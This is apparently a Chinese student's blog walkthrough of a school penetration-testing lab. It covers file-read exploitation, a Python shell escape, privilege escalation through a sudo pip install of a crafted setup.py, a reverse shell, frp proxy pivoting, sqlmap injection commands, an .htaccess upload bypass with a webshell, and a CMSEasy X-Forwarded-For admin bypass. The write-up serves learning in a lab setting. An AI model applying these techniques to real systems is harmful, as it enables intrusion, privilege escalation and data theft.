第一次完整内网渗透测试
最近突发奇想(其实也不是,就是看见实习要求感觉自己啥都不会),想学习一下内外网渗透,于是就想到了之前学校的一个靶场,于是就有了这篇文章,主要渗透靶场如下,可以完整顺下来。完整走完一遍渗透流程感觉学到了巨多的知识。我第一遍的时候只截了图,就一直往下做了。现在属于第二遍回顾,来把一些当时不太会的知识点再学学原理
阶段1:渗透内网唯一对外机器
唯一可访问的外网:192.168.1.7
用win10侦察机访问一下,查看源代码:
发现疑似任意文件读取漏洞
因为是靶场,所以他这里面的fr我感觉应该是file read,所以是任意文件读,按如下命令读取index.php文件:
最开始直接参数设为index.php无反应,如上,猜测应该是代码里面本来就有后缀,所以改成index,如下,就可以显示出源代码的base64
解码一下得到密码
密码:Niamey4Ever227!!!
账户:mamadou
账户是在网站中发现的,有“made by mamadou”
接下来就需要ssh一下,那就先nmap扫一下端口
发现有一个3333端口开着,网上搜了一下说是这个是ssh服务,所以就直接用了
连接上之后发现是在python内,如下
既然是python,那就用下面的命令可以进入shell,如下:
(搜的命令 遇到这种情况都这样做)
1 | import pty; |
进入之后ls一下就会发现第一个flag:flag1:d86b9ad71ca887f4dd1dac86ba1c4dfc
读取/etc/passwd
发现了另一个用户devops,先去该用户的目录看看 ls一下,发现了flag2,但是无权限打开,需要devops用户才有权打开
则需要将用户改成devops才可以打开,那接下来就需要想办法将用户改一下
用下面的命令看一下devops下有的文件
find / -users devops 2>/dev/null
其中讲一下 2>/dev/null命令,挺有意思的
这是Linux系统预留可三个文件描述符:0、1、2,意义如下:
0——标准输入(stdin)
1——标准输出(stdout)即输入到终端
2——标准错误(stderr)则 2>/dev/null 就是将错误输入到null,也就是将错误隐藏,这样就可以只输出正确的了,以免刷屏
如上,挨个试一下发现只要第一个python文件可以打开,打开内容如下
是写入文件的命令,去写入的目录看一下,发现该文件是刚刚创建的,很奇怪,在ls一下发现时间又更新了,这样应该就是系统中有个程序一直在定时的调用这个程序。
那就简单了,直接改一下python文件,改成读取flag2文件然后输出出来,这样我们就可以打开了。
如下,得到第二个flag
Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098
既然可以执行任意我们写入的python文件,那就可以反弹shell了,如下,是反弹shell的一个标准脚本,用就行
1 | open('/tmp/test','w').write('test') |
连接到kali攻击机上面,kali监听
最后成功反弹shell,如下,用户为devops,也能cat flag2
接下来收集信息:用sudo -l 看一下自己的权利,可以发现pip可用,且是root权限
则可以利用网上已有的脚步利用pip漏洞,这里环境中kali攻击机上已经有了相应的脚本,则用下面的办法传到机器上
在kali开启python服务器,目录下需要有脚本,这里是setup.py
然后用我们刚才反弹的shell来获取脚本,如上:
命令总结:
1 | # kali攻击机: |
脚本如下
1 | from setuptools import setup |
在shell中用vim发现用不了,则就可以用sed文件,先搜索更改的位置然后直接改就好了。
需要改的地方也就是ip地址而已
然后执行命令:(利用脚本)
sudo /usr/bin/pip install . --upgrade --force-reinstall
反弹shell:
去主目录ls一下发现有root.txt,查看root.txt
得到第三个flag:821ae63dbe0c573eff8b69d451fb21bc
本阶段就算结束了,拿到了机器的root权限后基本上就可以随便黑进去了
阶段2:内网渗透
阶段2-1 内网渗透博客系统
接下来我们需要做的是将上面已经拿到root权限的机器当做跳板,继续向内网渗透。因为内网的另外两台机器不出网,所以只能用代理的方式,让kali通过代理可以当成是内网机,这样方便进行一些攻击操作,不然在得到的rootShell中攻击太麻烦了,费时又费力
先去kali拿frp的代理工具(这里的frp即为代理工具)
然后先在kali建立代理服务器
1 | chmod +x frps //赋权 |
然后在拿到root的外网机器上执行下面命令
1 | chmod +x frpc //赋权 |
如上图,此时就算是代理建立完成了,这两个窗口就可以先收起来了,但是不能关闭,直到我们全部渗透完才可以关闭。
代理建立成功后设置proxychains的配置文件:
新增记录:即以本地的9998端口开启代理
接下来就可以在kali执行内网探测:
进入/root/Desktop/tools/PortScan/
目录,在该目录下打开终端,这是kali自带的ip扫描工具,用就完了
用以下命令使用代理扫描内网前十个IP地址
proxychains python scan.py 192.168.1.1 192.168.1.10 -t 20
上面命令的proxychains是代表在代理情况下执行后续命令,没有这个就扫不出来
如下图:发现三个ip地址的80端口开着
其中1.7的ip地址我们已经渗透完了,那就另外两个ip地址即为我们的攻击目标
接下来为了在win侦查机中打开对应的内网网页,就需要打开代理软件
但是靶场里面的软件支持过期了,直接搜索proxifier也可
在这个代理软件里面填上kali的ip地址以及端口,这样就相当于win通过kali连接上了wakanda的内网。
设置代理完相当于此时win10就是内网的wakanda机器,来访问其他的内网机器,比如此时的192.168.1.8的80端口:可以访问,发现下图页面
里面的目录都点一下试试,进入test之后发现网页路径可能存在sql注入(页面里面有?id=1)
试一下,加一个分号发现报错,那就是有回显的sql注入了
这里想尝试一下手工注入,再尝试一下发现是双引号闭合,但是还是注入不了
那实在不行就直接kali的sqlmap注入一下
如下在命令终端中执行
proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 --dbs
还行需要代理,不然访问不了,kali还是相当于外网机:成功开始注入
成功注出数据库:
先查看public数据库的表
proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 -D public --tables
再看user的表内容
注出admin的密码:P4ssw0rd
同时拿到第四个flag:8efe310f9ab3efeae8d410a8e0166eb2
然后进入admin网页,登录一下
登录之后发现可以添加图片,可以进行文件上传:
但是不能上传php后缀的文件,那应该就是文件上传漏洞了。
则可以用.htaccess绕过,前面的博客已经提到过
上传成功,这里我用powershell改了文件名,正常win不让你改成.htaccess的文件名,用Rename-item即可改名字
则再上传一个.xyth后缀的文件即可,里面放上一句话木马
上传成功
接下来就是蚁剑直连!测试一下,通过!
此时就算是内网的博客系统被我们拿下了。这阶段结束。
阶段2-2:内网渗透CMS
访问192.168.1.6,发现是cmseasy的内部网站
根据任务描述发现有纵向越权漏洞,可以在不知道管理员身份信息以及密码信息的情况下登录网站后台。
根据漏洞原理中得知,现在需要使用modify伪造一个ip,然后编辑get参数绕过后台登录认证。
使用modify使用X-Forwarded-For方式(网站获取ip的函数是获取http请求中的X-Forward-For字段),设置ip为网站的IP地址,然后点击start伪造ip。构造我们的get参数为:
admin_dir=admin&site=default&ishtml=1
先伪造ip:
然后直接访问:
进入后台
在标题位置发现flag1:
flag1={mMyVrXbHYiTkO8osbrCbEIx1D4Tcf3WP}
此时我们虽然进入了后台,但是还不是管理员身份,所以进入不了其他网页
设置参数为: 查看语言项
case=language&act=edit&table=orders&admin_dir=admin&site=default&ishtml=1
直接翻到最后一页,发现路径以及密码
按给的路径和密码连接不上,观察一下改一下单词就可以蚁剑连接了,连接测试通过!
然后在该文件下找到第二个flag
/config/config.php然后去配置文件找数据库密码
同时拿到flag3,如上
直接添加之后连接,测试通过
找到flag4,获得base64的flag
flag4:P7iy1FflMZLZkDws35qE2cLOAWMscVj7
flag5直接在/etc目录下找到
就算全部渗透完了。
最后一阶段利用的是cms的漏洞,完成的比较仓促,因为环境快关了。但问题不大。主要目的是了解一下渗透测试的基本流程。
总结一下
基本渗透测试流程就是先根据网站打入其服务器,然后提权到root,建立代理,利用被打下的机器继续渗透其他内网机器,然后攻击。简单的流程应该会这样,但实际上最难得部分应该就是如何打入服务器。害,学吧。